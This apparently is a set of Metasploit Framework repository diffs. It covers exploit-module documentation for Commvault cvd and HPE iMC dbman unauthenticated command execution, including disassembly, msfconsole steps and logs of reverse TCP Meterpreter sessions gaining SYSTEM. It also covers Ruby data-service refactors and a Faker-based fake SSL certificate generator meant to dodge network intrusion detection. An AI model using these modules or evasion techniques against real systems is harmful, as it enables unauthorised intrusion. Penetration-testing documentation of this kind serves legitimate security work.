||||
.text:0000000180147113 mov rdx, [rsp+888h+sock]
|
||||
.text:000000018014711B mov rcx, [rsp+888h+var_600]
|
||||
.text:0000000180147123 call cs:??0CQiSocket@@QEAA@AEBV0@@Z ; CQiSocket::CQiSocket(CQiSocket const &)
|
||||
.text:0000000180147129 mov [rsp+888h+var_5F0], rax
|
||||
.text:0000000180147131 mov r8, [rsp+888h+arg_18]
|
||||
.text:0000000180147139 mov rdx, [rsp+888h+var_5F0]
|
||||
.text:0000000180147141 mov rcx, [rsp+888h+structSelect]
|
||||
.text:0000000180147149 call ?execCmd@@YAXPEAUselectStruct_t@@VCQiSocket@@PEAX@Z ; execCmd(selectStruct_t *,CQiSocket,void *)
|
||||
```
|
||||
|
||||
If we take a closer look at the ```execCmd``` function, we can tell the purpose of it is for processes such as:
|
||||
|
||||
* ifind (For restoring purposes)
|
||||
* BackupShadow.exe (For archiving)
|
||||
* Pub (Map file)
|
||||
* createIndex (A Commvault process for building index)
|
||||
|
||||
|
||||
```
|
||||
.text:0000000180159F1B loc_180159F1B: ; CODE XREF: execCmd(selectStruct_t *,CQiSocket,void *)+261j
|
||||
.text:0000000180159F1B ; DATA XREF: .rdata:0000000180286258o
|
||||
.text:0000000180159F1B lea rdx, aIfind ; "ifind"
|
||||
.text:0000000180159F22 lea rcx, [rsp+87B8h+ApplicationName] ; Str
|
||||
.text:0000000180159F2A call cs:strstr
|
||||
.text:0000000180159F30 test rax, rax
|
||||
.text:0000000180159F33 jnz short loc_180159F6D
|
||||
.text:0000000180159F35 lea rdx, aBackupshadow_e ; "BackupShadow.exe"
|
||||
.text:0000000180159F3C lea rcx, [rsp+87B8h+ApplicationName] ; Str
|
||||
.text:0000000180159F44 call cs:strstr
|
||||
.text:0000000180159F4A test rax, rax
|
||||
.text:0000000180159F4D jnz short loc_180159F6D
|
||||
.text:0000000180159F4F lea rdx, aPub ; "Pub"
|
||||
.text:0000000180159F56 lea rcx, [rsp+87B8h+ApplicationName] ; Str
|
||||
.text:0000000180159F5E call cs:strstr
|
||||
...
|
||||
.text:000000018015A0BA loc_18015A0BA: ; CODE XREF: execCmd(selectStruct_t *,CQiSocket,void *)+307j
|
||||
.text:000000018015A0BA lea rdx, aCreateindex ; "createIndex"
|
||||
.text:000000018015A0C1 lea rcx, [rsp+87B8h+ApplicationName] ; Str
|
||||
.text:000000018015A0C9 call cs:strstr
|
||||
.text:000000018015A0CF test rax, rax
|
||||
.text:000000018015A0D2 jz loc_18015A220
|
||||
```
|
||||
|
||||
However, if you don't call one of these processes, the ```execCmd``` will assume you want to run your
|
||||
custom process, and pass it to ```CreateProcess``` anyway:
|
||||
|
||||
```
|
||||
.text:000000018015A361 loc_18015A361: ; CODE XREF: execCmd(selectStruct_t *,CQiSocket,void *)+675j
|
||||
.text:000000018015A361 call cs:GetEnvironmentStrings
|
||||
.text:000000018015A367 mov [rsp+87B8h+var_86A8], rax
|
||||
.text:000000018015A36F lea rax, [rsp+87B8h+StartupInfo]
|
||||
.text:000000018015A377 mov rdi, rax
|
||||
.text:000000018015A37A xor eax, eax
|
||||
.text:000000018015A37C mov ecx, 68h
|
||||
.text:000000018015A381 rep stosb
|
||||
.text:000000018015A383 mov [rsp+87B8h+StartupInfo.cb], 68h
|
||||
.text:000000018015A38E lea rax, [rsp+87B8h+ProcessInformation]
|
||||
.text:000000018015A396 mov rdi, rax
|
||||
.text:000000018015A399 xor eax, eax
|
||||
.text:000000018015A39B mov ecx, 18h
|
||||
.text:000000018015A3A0 rep stosb
|
||||
.text:000000018015A3A2 mov [rsp+87B8h+StartupInfo.dwFlags], 1
|
||||
.text:000000018015A3AD xor eax, eax
|
||||
.text:000000018015A3AF mov [rsp+87B8h+StartupInfo.wShowWindow], ax
|
||||
.text:000000018015A3B7 lea rax, [rsp+87B8h+ProcessInformation]
|
||||
.text:000000018015A3BF mov [rsp+87B8h+lpProcessInformation], rax ; lpProcessInformation
|
||||
.text:000000018015A3C4 lea rax, [rsp+87B8h+StartupInfo]
|
||||
.text:000000018015A3CC mov [rsp+87B8h+lpStartupInfo], rax ; lpStartupInfo
|
||||
.text:000000018015A3D1 mov [rsp+87B8h+lpCurrentDirectory], 0 ; lpCurrentDirectory
|
||||
.text:000000018015A3DA mov [rsp+87B8h+lpEnvironment], 0 ; lpEnvironment
|
||||
.text:000000018015A3E3 mov [rsp+87B8h+dwCreationFlags], 10h ; dwCreationFlags
|
||||
.text:000000018015A3EB mov [rsp+87B8h+bInheritHandles], 0 ; bInheritHandles
|
||||
.text:000000018015A3F3 xor r9d, r9d ; lpThreadAttributes
|
||||
.text:000000018015A3F6 xor r8d, r8d ; lpProcessAttributes
|
||||
.text:000000018015A3F9 lea rdx, [rsp+87B8h+CommandLine] ; lpCommandLine
|
||||
.text:000000018015A401 lea rcx, [rsp+87B8h+ApplicationName] ; lpApplicationName
|
||||
.text:000000018015A409 call cs:CreateProcessA
|
||||
```
|
||||
|
||||
It is unclear whether allowing an arbitrary custom process is intentional or not, it is unsafe
|
||||
anyway considering the cvd process binds to 0.0.0.0, so anybody can gain access to it under the
|
||||
context of SYSTEM.
|
||||
|
||||
## Using the Metasploit Module
|
||||
|
||||
1. Start msfconsole
|
||||
2. `use exploit/windows/misc/commvault_cmd_exec`
|
||||
3. `set RHOST [ip]`
|
||||
4. `exploit`
|
||||
5. shellz :)
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* https://en.wikipedia.org/wiki/Commvault
|
||||
* https://www.securifera.com/advisories/sec-2017-0001/
|
|
@ -0,0 +1,59 @@
|
|||
## Description
|
||||
|
||||
This module exploits a remote command execution vulnerablity in Hewlett Packard Enterprise Intelligent Management Center before version 7.3 E0504P04.
|
||||
|
||||
The dbman service allows unauthenticated remote users to restart a user-specified database instance (OpCode 10008), however the instance ID is not sanitized, allowing execution of arbitrary operating system commands as SYSTEM. This service listens on TCP port 2810 by default.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
[HPE Intelligent Management Center Enterprise Software Platform](https://www.hpe.com/au/en/product-catalog/networking/intelligent-management-software/pip.hp-intelligent-management-center-enterprise-software-platform.4176520.html) is a comprehensive wired and wireless network management tool.
|
||||
|
||||
This module has been tested successfully on:
|
||||
|
||||
* iMC PLAT v7.2 (E0403) on Windows 7 SP1 (EN).
|
||||
|
||||
Installer:
|
||||
|
||||
* [iMC PLAT v7.2 (E0403) Standard](https://h10145.www1.hpe.com/Downloads/DownloadSoftware.aspx?SoftwareReleaseUId=16759&ProductNumber=JG747AAE&lang=en&cc=us&prodSeriesId=4176535&SaidNumber=)
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Do: `use exploit/windows/misc/hp_imc_dbman_restartdb_unauth_rce`
|
||||
3. Do: `set RHOST <IP>`
|
||||
4. Do: `run`
|
||||
5. You should get a session
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf > use exploit/windows/misc/hp_imc_dbman_restartdb_unauth_rce
|
||||
msf exploit(windows/misc/hp_imc_dbman_restartdb_unauth_rce) > set rhost 172.16.191.166
|
||||
rhost => 172.16.191.166
|
||||
msf exploit(windows/misc/hp_imc_dbman_restartdb_unauth_rce) > check
|
||||
[*] 172.16.191.166:2810 The target service is running, but could not be validated.
|
||||
msf exploit(windows/misc/hp_imc_dbman_restartdb_unauth_rce) > set verbose true
|
||||
verbose => true
|
||||
msf exploit(windows/misc/hp_imc_dbman_restartdb_unauth_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.191.181:4444
|
||||
[*] 172.16.191.166:2810 - Powershell command length: 6091
|
||||
[*] 172.16.191.166:2810 - Sending payload (6091 bytes)...
|
||||
[*] Sending stage (179779 bytes) to 172.16.191.166
|
||||
[*] Meterpreter session 1 opened (172.16.191.181:4444 -> 172.16.191.166:55316) at 2018-01-05 03:23:55 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-SGBSD5TQUTQ
|
||||
OS : Windows 7 (Build 7601, Service Pack 1).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 3
|
||||
Meterpreter : x86/windows
|
||||
```
|
||||
|
|
@ -0,0 +1,59 @@
|
|||
## Description
|
||||
|
||||
This module exploits a remote command execution vulnerablity in Hewlett Packard Enterprise Intelligent Management Center before version 7.3 E0504P04.
|
||||
|
||||
The dbman service allows unauthenticated remote users to restore a user-specified database (OpCode 10007), however the database connection username is not sanitized resulting in command injection, allowing execution of arbitrary operating system commands as SYSTEM. This service listens on TCP port 2810 by default.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
[HPE Intelligent Management Center Enterprise Software Platform](https://www.hpe.com/au/en/product-catalog/networking/intelligent-management-software/pip.hp-intelligent-management-center-enterprise-software-platform.4176520.html) is a comprehensive wired and wireless network management tool.
|
||||
|
||||
This module has been tested successfully on:
|
||||
|
||||
* iMC PLAT v7.2 (E0403) on Windows 7 SP1 (EN).
|
||||
|
||||
Installer:
|
||||
|
||||
* [iMC PLAT v7.2 (E0403) Standard](https://h10145.www1.hpe.com/Downloads/DownloadSoftware.aspx?SoftwareReleaseUId=16759&ProductNumber=JG747AAE&lang=en&cc=us&prodSeriesId=4176535&SaidNumber=)
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Do: `use exploit/windows/misc/hp_imc_dbman_restoredbase_unauth_rce`
|
||||
3. Do: `set RHOST <IP>`
|
||||
4. Do: `run`
|
||||
5. You should get a session
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf > use exploit/windows/misc/hp_imc_dbman_restoredbase_unauth_rce
|
||||
msf exploit(windows/misc/hp_imc_dbman_restoredbase_unauth_rce) > set rhost 172.16.191.166
|
||||
rhost => 172.16.191.166
|
||||
msf exploit(windows/misc/hp_imc_dbman_restoredbase_unauth_rce) > set verbose true
|
||||
verbose => true
|
||||
msf exploit(windows/misc/hp_imc_dbman_restoredbase_unauth_rce) > check
|
||||
[*] 172.16.191.166:2810 The target service is running, but could not be validated.
|
||||
msf exploit(windows/misc/hp_imc_dbman_restoredbase_unauth_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.191.238:4444
|
||||
[*] 172.16.191.166:2810 - Powershell command length: 6123
|
||||
[*] 172.16.191.166:2810 - Sending payload (6123 bytes)...
|
||||
[*] Sending stage (179779 bytes) to 172.16.191.166
|
||||
[*] Meterpreter session 1 opened (172.16.191.238:4444 -> 172.16.191.166:49176) at 2018-01-05 05:30:48 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
smeterpreter > sysinfo
|
||||
Computer : WIN-SGBSD5TQUTQ
|
||||
OS : Windows 7 (Build 7601, Service Pack 1).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 1
|
||||
Meterpreter : x86/windows
|
||||
```
|
||||
|
|
@ -1,7 +1,7 @@
|
|||
ms08_067_netapi is one of the most popular remote exploits against Microsoft Windows. It is
|
||||
considered a reliable exploit, and allows you to gain access as SYSTEM - the highest Windows
|
||||
privilege. In modern day penetration test, this exploit would most likely be used in an internal
|
||||
environment, and not so much from external due to the likelihood of a firewall.
|
||||
considered a reliable exploit and allows you to gain access as SYSTEM - the highest Windows
|
||||
privilege. In modern day penetration tests, this exploit would most likely be used in an internal
|
||||
environment and not so much from external due to the likelihood of a firewall.
|
||||
|
||||
The check command of ms08_067_netapi is also highly accurate, because it is actually testing the
|
||||
vulnerable code path, not just passively.
|
||||
|
@ -15,7 +15,7 @@ This exploit works against a vulnerable SMB service from one of these Windows sy
|
|||
* Windows XP
|
||||
* Windows 2003
|
||||
|
||||
To reliability determine whether the machine is vulnerable, you will have to either examine
|
||||
To reliably determine whether the machine is vulnerable, you will have to either examine
|
||||
the system's patch level, or use a vulnerability check.
|
||||
|
||||
## Verification Steps
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
ms17_010_eternalblue is a remote exploit against Microsoft Windows, originally written by the
|
||||
Equation Group (NSA) and leaked by Shadow Brokers (an unknown hacking entity). It is
|
||||
considered a reliable exploit, and allows you to gain access not only as SYSTEM - the highest Windows
|
||||
user mode privilege, but also full control of the kernel in ring 0. In modern day penetration test,
|
||||
considered a reliable exploit and allows you to gain access not only as SYSTEM - the highest Windows
|
||||
user mode privilege, but also full control of the kernel in ring 0. In modern day penetration tests,
|
||||
this exploit can be found in internal and external environments.
|
||||
|
||||
As far as remote kernel exploits go, this one is highly reliable and safe to use.
|
||||
|
|
|
@ -13,6 +13,8 @@ module HostDataProxy
|
|||
end
|
||||
end
|
||||
|
||||
# TODO: Shouldn't this proxy to RemoteHostDataService#find_or_create_host ?
|
||||
# It's currently skipping the "find" part
|
||||
def find_or_create_host(opts)
|
||||
puts 'Calling find host'
|
||||
report_host(opts)
|
||||
|
|
|
@ -3,13 +3,22 @@ require 'metasploit/framework/data_service/remote/http/response_data_helper'
|
|||
module RemoteCredentialDataService
|
||||
include ResponseDataHelper
|
||||
|
||||
CREDENTIAL_PATH = '/api/1/msf/credential'
|
||||
CREDENTIAL_API_PATH = '/api/1/msf/credential'
|
||||
# "MDM_CLASS" is a little misleading since it is not in that repo but trying to keep naming consistent across DataServices
|
||||
CREDENTIAL_MDM_CLASS = 'Metasploit::Credential::Core'
|
||||
|
||||
def creds(opts = {})
|
||||
json_to_open_struct_object(self.get_data(CREDENTIAL_PATH, opts), [])
|
||||
data = self.get_data(CREDENTIAL_API_PATH, opts)
|
||||
rv = json_to_mdm_object(data, CREDENTIAL_MDM_CLASS, [])
|
||||
parsed_body = JSON.parse(data.response.body)
|
||||
parsed_body.each do |cred|
|
||||
private_object = to_ar(cred['private_class'].constantize, cred['private'])
|
||||
rv[parsed_body.index(cred)].private = private_object
|
||||
end
|
||||
rv
|
||||
end
|
||||
|
||||
def create_credential(opts)
|
||||
self.post_data_async(CREDENTIAL_PATH, opts)
|
||||
self.post_data_async(CREDENTIAL_API_PATH, opts)
|
||||
end
|
||||
end
|
|
@ -3,27 +3,28 @@ require 'metasploit/framework/data_service/remote/http/response_data_helper'
|
|||
module RemoteHostDataService
|
||||
include ResponseDataHelper
|
||||
|
||||
HOST_PATH = '/api/1/msf/host'
|
||||
HOST_SEARCH_PATH = HOST_PATH + "/search"
|
||||
HOST_API_PATH = '/api/1/msf/host'
|
||||
HOST_SEARCH_PATH = HOST_API_PATH + "/search"
|
||||
HOST_MDM_CLASS = 'Mdm::Host'
|
||||
|
||||
def hosts(opts)
|
||||
json_to_open_struct_object(self.get_data(HOST_PATH, opts), [])
|
||||
json_to_mdm_object(self.get_data(HOST_API_PATH, opts), HOST_MDM_CLASS, [])
|
||||
end
|
||||
|
||||
def report_host(opts)
|
||||
json_to_open_struct_object(self.post_data(HOST_PATH, opts))
|
||||
json_to_mdm_object(self.post_data(HOST_API_PATH, opts), HOST_MDM_CLASS, []).first
|
||||
end
|
||||
|
||||
def find_or_create_host(opts)
|
||||
json_to_open_struct_object(self.post_data(HOST_PATH, opts))
|
||||
json_to_mdm_object(self.post_data(HOST_API_PATH, opts), HOST_MDM_CLASS, []).first
|
||||
end
|
||||
|
||||
def report_hosts(hosts)
|
||||
self.post_data(HOST_PATH, hosts)
|
||||
self.post_data(HOST_API_PATH, hosts)
|
||||
end
|
||||
|
||||
def delete_host(opts)
|
||||
json_to_open_struct_object(self.delete_data(HOST_PATH, opts))
|
||||
json_to_mdm_object(self.delete_data(HOST_API_PATH, opts), HOST_MDM_CLASS, [])
|
||||
end
|
||||
|
||||
# TODO: Remove? What is the purpose of this method?
|
||||
|
|
|
@ -3,11 +3,12 @@ require 'metasploit/framework/data_service/remote/http/response_data_helper'
|
|||
module RemoteLootDataService
|
||||
include ResponseDataHelper
|
||||
|
||||
LOOT_PATH = '/api/1/msf/loot'
|
||||
LOOT_API_PATH = '/api/1/msf/loot'
|
||||
LOOT_MDM_CLASS = 'Mdm::Loot'
|
||||
|
||||
def loot(opts = {})
|
||||
# TODO: Add an option to toggle whether the file data is returned or not
|
||||
loots = json_to_open_struct_object(self.get_data(LOOT_PATH, opts), [])
|
||||
loots = json_to_mdm_object(self.get_data(LOOT_API_PATH, opts), LOOT_MDM_CLASS, [])
|
||||
# Save a local copy of the file
|
||||
loots.each do |loot|
|
||||
if loot.data
|
||||
|
@ -19,14 +20,14 @@ module RemoteLootDataService
|
|||
end
|
||||
|
||||
def report_loot(opts)
|
||||
self.post_data_async(LOOT_PATH, opts)
|
||||
self.post_data_async(LOOT_API_PATH, opts)
|
||||
end
|
||||
|
||||
def find_or_create_loot(opts)
|
||||
json_to_open_struct_object(self.post_data(LOOT_PATH, opts))
|
||||
json_to_mdm_object(self.post_data(LOOT_API_PATH, opts), LOOT_MDM_CLASS, [])
|
||||
end
|
||||
|
||||
def report_loots(loot)
|
||||
self.post_data(LOOT_PATH, loot)
|
||||
self.post_data(LOOT_API_PATH, loot)
|
||||
end
|
||||
end
|
|
@ -1,6 +1,7 @@
|
|||
module RemoteSessionDataService
|
||||
|
||||
SESSION_API_PATH = '/api/1/msf/session'
|
||||
SESSION_MDM_CLASS = 'Mdm::Session'
|
||||
|
||||
def report_session(opts)
|
||||
session = opts[:session]
|
||||
|
@ -12,7 +13,7 @@ module RemoteSessionDataService
|
|||
end
|
||||
|
||||
opts[:time_stamp] = Time.now.utc
|
||||
sess_db = json_to_open_struct_object(self.post_data(SESSION_API_PATH, opts))
|
||||
sess_db = json_to_mdm_object(self.post_data(SESSION_API_PATH, opts), SESSION_MDM_CLASS, []).first
|
||||
session.db_record = sess_db
|
||||
end
|
||||
|
||||
|
|
|
@ -3,14 +3,15 @@ require 'metasploit/framework/data_service/remote/http/response_data_helper'
|
|||
module RemoteSessionEventDataService
|
||||
include ResponseDataHelper
|
||||
|
||||
SESSION_EVENT_PATH = '/api/1/msf/session_event'
|
||||
SESSION_EVENT_API_PATH = '/api/1/msf/session_event'
|
||||
SESSION_EVENT_MDM_CLASS = 'Mdm::SessionEvent'
|
||||
|
||||
def session_events(opts = {})
|
||||
json_to_open_struct_object(self.get_data(SESSION_EVENT_PATH, opts), [])
|
||||
json_to_mdm_object(self.get_data(SESSION_EVENT_API_PATH, opts), SESSION_EVENT_MDM_CLASS, [])
|
||||
end
|
||||
|
||||
def report_session_event(opts)
|
||||
opts[:session] = opts[:session].db_record
|
||||
self.post_data_async(SESSION_EVENT_PATH, opts)
|
||||
self.post_data_async(SESSION_EVENT_API_PATH, opts)
|
||||
end
|
||||
end
|
|
@ -5,19 +5,20 @@ module RemoteWorkspaceDataService
|
|||
|
||||
WORKSPACE_COUNTS_API_PATH = '/api/1/msf/workspace/counts'
|
||||
WORKSPACE_API_PATH = '/api/1/msf/workspace'
|
||||
WORKSPACE_MDM_CLASS = 'Mdm::Workspace'
|
||||
DEFAULT_WORKSPACE_NAME = 'default'
|
||||
|
||||
def find_workspace(workspace_name)
|
||||
workspace = workspace_cache[workspace_name]
|
||||
return workspace unless (workspace.nil?)
|
||||
|
||||
workspace = json_to_open_struct_object(self.get_data(WORKSPACE_API_PATH, {:workspace_name => workspace_name}))
|
||||
workspace = json_to_mdm_object(self.get_data(WORKSPACE_API_PATH, {:workspace_name => workspace_name}), WORKSPACE_MDM_CLASS).first
|
||||
workspace_cache[workspace_name] = workspace
|
||||
end
|
||||
|
||||
def add_workspace(workspace_name)
|
||||
response = self.post_data(WORKSPACE_API_PATH, {:workspace_name => workspace_name})
|
||||
json_to_open_struct_object(response, nil)
|
||||
json_to_mdm_object(response, WORKSPACE_MDM_CLASS, nil)
|
||||
end
|
||||
|
||||
def default_workspace
|
||||
|
@ -33,11 +34,11 @@ module RemoteWorkspaceDataService
|
|||
end
|
||||
|
||||
def workspaces
|
||||
json_to_open_struct_object(self.get_data(WORKSPACE_API_PATH, {:all => true}), [])
|
||||
json_to_mdm_object(self.get_data(WORKSPACE_API_PATH, {:all => true}), WORKSPACE_MDM_CLASS, [])
|
||||
end
|
||||
|
||||
def workspace_associations_counts()
|
||||
json_to_open_struct_object(self.get_data(WORKSPACE_COUNTS_API_PATH), [])
|
||||
json_to_mdm_object(self.get_data(WORKSPACE_API_PATH, []), WORKSPACE_MDM_CLASS, [])
|
||||
end
|
||||
|
||||
#########
|
||||
|
|
|
@ -10,10 +10,10 @@ module ResponseDataHelper
|
|||
# Converts an HTTP response to an OpenStruct object
|
||||
#
|
||||
def json_to_open_struct_object(response_wrapper, returns_on_error = nil)
|
||||
if (response_wrapper.expected)
|
||||
if response_wrapper.expected
|
||||
begin
|
||||
body = response_wrapper.response.body
|
||||
if (not body.nil? and not body.empty?)
|
||||
if not body.nil? and not body.empty?
|
||||
return JSON.parse(body, object_class: OpenStruct)
|
||||
end
|
||||
rescue Exception => e
|
||||
|
@ -24,6 +24,34 @@ module ResponseDataHelper
|
|||
return returns_on_error
|
||||
end
|
||||
|
||||
#
|
||||
# Converts an HTTP response to an Mdm Object
|
||||
#
|
||||
# @param [ResponseWrapper] A wrapped HTTP response containing a JSON body.
|
||||
# @param [String] The Mdm class to convert the JSON to.
|
||||
# @param [Anything] A failsafe response to return if no objects are found.
|
||||
# @return [ActiveRecord::Base] An object of type mdm_class, which inherits from ActiveRecord::Base
|
||||
def json_to_mdm_object(response_wrapper, mdm_class, returns_on_error = nil)
|
||||
if response_wrapper.expected
|
||||
begin
|
||||
body = response_wrapper.response.body
|
||||
if not body.nil? and not body.empty?
|
||||
parsed_body = Array.wrap(JSON.parse(body))
|
||||
rv = []
|
||||
parsed_body.each do |json_object|
|
||||
rv << to_ar(mdm_class.constantize, json_object)
|
||||
end
|
||||
return rv
|
||||
end
|
||||
rescue Exception => e
|
||||
puts "Mdm Object conversion failed #{e.message}"
|
||||
e.backtrace.each { |line| puts "#{line}\n" }
|
||||
end
|
||||
end
|
||||
|
||||
return returns_on_error
|
||||
end
|
||||
|
||||
# Processes a Base64 encoded file included in a JSON request.
|
||||
# Saves the file in the location specified in the parameter.
|
||||
#
|
||||
|
@ -45,6 +73,60 @@ module ResponseDataHelper
|
|||
save_path
|
||||
end
|
||||
|
||||
# Converts a Hash or JSON string to an ActiveRecord object.
|
||||
# Importantly, this retains associated objects if they are in the JSON string.
|
||||
#
|
||||
# Modified from https://github.com/swdyh/toar/
|
||||
# Credit to https://github.com/swdyh
|
||||
#
|
||||
# @param [String] klass The ActiveRecord class to convert the JSON/Hash to.
|
||||
# @param [String] val The JSON string, or Hash, to convert.
|
||||
# @param [Class] base_class The base class to build back to. Used for recursion.
|
||||
# @return [ActiveRecord::Base] A klass object, which inherits from ActiveRecord::Base.
|
||||
def to_ar(klass, val, base_object = nil)
|
||||
data = val.class == Hash ? val.dup : JSON.parse(val)
|
||||
obj = base_object || klass.new
|
||||
|
||||
obj_associations = klass.reflect_on_all_associations(:has_many).reduce({}) do |reflection, i|
|
||||
reflection[i.options[:through]] = i if i.options[:through]
|
||||
reflection
|
||||
end
|
||||
|
||||
data.except(*obj.attributes.keys).each do |k, v|
|
||||
association = klass.reflect_on_association(k)
|
||||
next unless association
|
||||
|
||||
case association.macro
|
||||
when :belongs_to
|
||||
data.delete("#{k}_id")
|
||||
to_ar(association.klass, v, obj.send("build_#{k}"))
|
||||
obj.class_eval do
|
||||
define_method("#{k}_id") { obj.send(k).id }
|
||||
end
|
||||
when :has_one
|
||||
to_ar(association.klass, v, obj.send("build_#{k}"))
|
||||
when :has_many
|
||||
obj.send(k).proxy_association.target =
|
||||
v.map { |i| to_ar(association.klass, i) }
|
||||
|
||||
as_th = obj_associations[k.to_sym]
|
||||
if as_th
|
||||
obj.send(as_th.name).proxy_association.target =
|
||||
v.map { |i| to_ar(as_th.klass, i[as_th.source_reflection_name.to_s]) }
|
||||
end
|
||||
end
|
||||
end
|
||||
obj.assign_attributes(data.slice(*obj.attributes.keys))
|
||||
|
||||
obj.instance_eval do
|
||||
# prevent save
|
||||
def valid?(_context = nil)
|
||||
false
|
||||
end
|
||||
end
|
||||
obj
|
||||
end
|
||||
|
||||
#
|
||||
# Converts a hash to an open struct
|
||||
#
|
||||
|
|
|
@ -22,6 +22,7 @@ module Metasploit::Framework::Spec::Constants
|
|||
Error
|
||||
External
|
||||
Loader
|
||||
Metadata
|
||||
MetasploitClassCompatibilityError
|
||||
Namespace
|
||||
VersionCompatibilityError
|
||||
|
|
|
@ -30,7 +30,7 @@ module Metasploit
|
|||
end
|
||||
end
|
||||
|
||||
VERSION = "4.16.29"
|
||||
VERSION = "5.0.0"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
|
|
@ -33,20 +33,24 @@ class Config < Hash
|
|||
return val
|
||||
end
|
||||
|
||||
# XXX Update this when there is a need to break compatibility
|
||||
config_dir_major = 4
|
||||
config_dir = ".msf#{config_dir_major}"
|
||||
|
||||
# Windows-specific environment variables
|
||||
['HOME', 'LOCALAPPDATA', 'APPDATA', 'USERPROFILE'].each do |dir|
|
||||
val = Rex::Compat.getenv(dir)
|
||||
if (val and File.directory?(val))
|
||||
return File.join(val, ".msf#{Metasploit::Framework::Version::MAJOR}")
|
||||
return File.join(val, config_dir)
|
||||
end
|
||||
end
|
||||
|
||||
begin
|
||||
# First we try $HOME/.msfx
|
||||
File.expand_path("~#{FileSep}.msf#{Metasploit::Framework::Version::MAJOR}")
|
||||
File.expand_path("~#{FileSep}#{config_dir}")
|
||||
rescue ::ArgumentError
|
||||
# Give up and install root + ".msfx"
|
||||
InstallRoot + ".msf#{Metasploit::Framework::Version::MAJOR}"
|
||||
InstallRoot + config_dir
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,100 @@
|
|||
require 'rex/socket/ssl'
|
||||
require 'faker'
|
||||
|
||||
module Msf
|
||||
module Ssl
|
||||
module CertProvider
|
||||
|
||||
def self.rand_vars(opts = {})
|
||||
opts ||= {}
|
||||
opts[:cc] ||= 'US'
|
||||
opts[:st] ||= Faker::Address.state_abbr
|
||||
opts[:loc] ||= Faker::Address.city
|
||||
opts[:org] ||= Faker::Company.name
|
||||
opts[:ou] ||= Faker::Hacker.send(%w{noun verb adjective}.sample.to_sym).gsub(/\W+/,'.')
|
||||
opts[:cn] ||= opts[:org].downcase.gsub(/and/,'').gsub(/\W+/,'.') + '.' + Faker::Internet.domain_suffix
|
||||
opts[:email] ||= "#{opts[:ou]}@#{opts[:cn]}"
|
||||
opts
|
||||
end
|
||||
|
||||
def self.ssl_generate_subject(opts = {})
|
||||
opts = self.rand_vars(opts)
|
||||
subject = ""
|
||||
subject << "/C=#{opts[:cc]}" if opts[:cc]
|
||||
subject << "/ST=#{opts[:st]}" if opts[:st]
|
||||
subject << "/O=#{opts[:org]}" if opts[:org]
|
||||
subject << "/OU=#{opts[:ou]}" if opts[:ou]
|
||||
subject << "/CN=#{opts[:cn]}" if opts[:cn]
|
||||
subject << "/emailAddress=#{opts[:email]}" if opts[:email]
|
||||
subject
|
||||
end
|
||||
|
||||
# Not used, for API compatibility
|
||||
def self.ssl_generate_issuer(
|
||||
cc: 'US',
|
||||
org: Faker::Company.name,
|
||||
cn: Faker::Internet.domain_name
|
||||
)
|
||||
"#{cc}/O=#{org}/CN=#{cn}"
|
||||
end
|
||||
|
||||
#
|
||||
# Generate a realistic-looking but obstensibly fake SSL
|
||||
# certificate. Use Faker gem to mimic other self-signed
|
||||
# certificates on the web to reduce the chance of sig
|
||||
# identification by NIDS and the like.
|
||||
#
|
||||
# @return [String, String, Array]
|
||||
def self.ssl_generate_certificate(opts = {}, ksize = 2048)
|
||||
yr = 24*3600*365
|
||||
vf = opts[:not_before] || Time.at(Time.now.to_i - rand(yr * 3) - yr)
|
||||
vt = opts[:not_after] || Time.at(vf.to_i + (rand(9)+1) * yr)
|
||||
cvars = opts[:cert_vars] || self.rand_vars
|
||||
subject = opts[:subject] || ssl_generate_subject(cvars)
|
||||
ctype = opts[:cert_type] || opts[:ca_cert].nil? ? :ca : :server
|
||||
key = opts[:key] || OpenSSL::PKey::RSA.new(ksize){ }
|
||||
cert = OpenSSL::X509::Certificate.new
|
||||
|
||||
cert.version = opts[:version] || 2
|
||||
cert.serial = opts[:serial] || (rand(0xFFFFFFFF) << 32) + rand(0xFFFFFFFF)
|
||||
cert.subject = OpenSSL::X509::Name.new([["C", subject]])
|
||||
cert.issuer = opts[:ca_cert] || cert.subject
|
||||
cert.not_before = vf
|
||||
cert.not_after = vt
|
||||
cert.public_key = key.public_key
|
||||
|
||||
bconst, kuse, ekuse = case ctype
|
||||
when :ca
|
||||
['CA:TRUE', 'cRLSign,keyCertSign']
|
||||
when :server
|
||||
['CA:FALSE', 'digitalSignature,keyEncipherment', 'serverAuth']
|
||||
when :client
|
||||
['CA:FALSE', 'nonRepudiation,digitalSignature,keyEncipherment', 'clientAuth,emailProtection']
|
||||
when :ocsp
|
||||
['CA:FALSE', 'nonRepudiation,digitalSignature', 'serverAuth,OCSPSigning']
|
||||
when :tsca
|
||||
['CA:TRUE,pathlen:0', 'cRLSign,keyCertSign']
|
||||
end
|
||||
|
||||
ef = OpenSSL::X509::ExtensionFactory.new
|
||||
ef.subject_certificate = cert
|
||||
ef.issuer_certificate = cert
|
||||
cert.extensions = [
|
||||
ef.create_extension("basicConstraints", bconst, true),
|
||||
ef.create_extension("subjectKeyIdentifier", "hash")
|
||||
]
|
||||
if kuse and !kuse.empty?
|
||||
cert.extensions << ef.create_extension("keyUsage", kuse)
|
||||
end
|
||||
|
||||
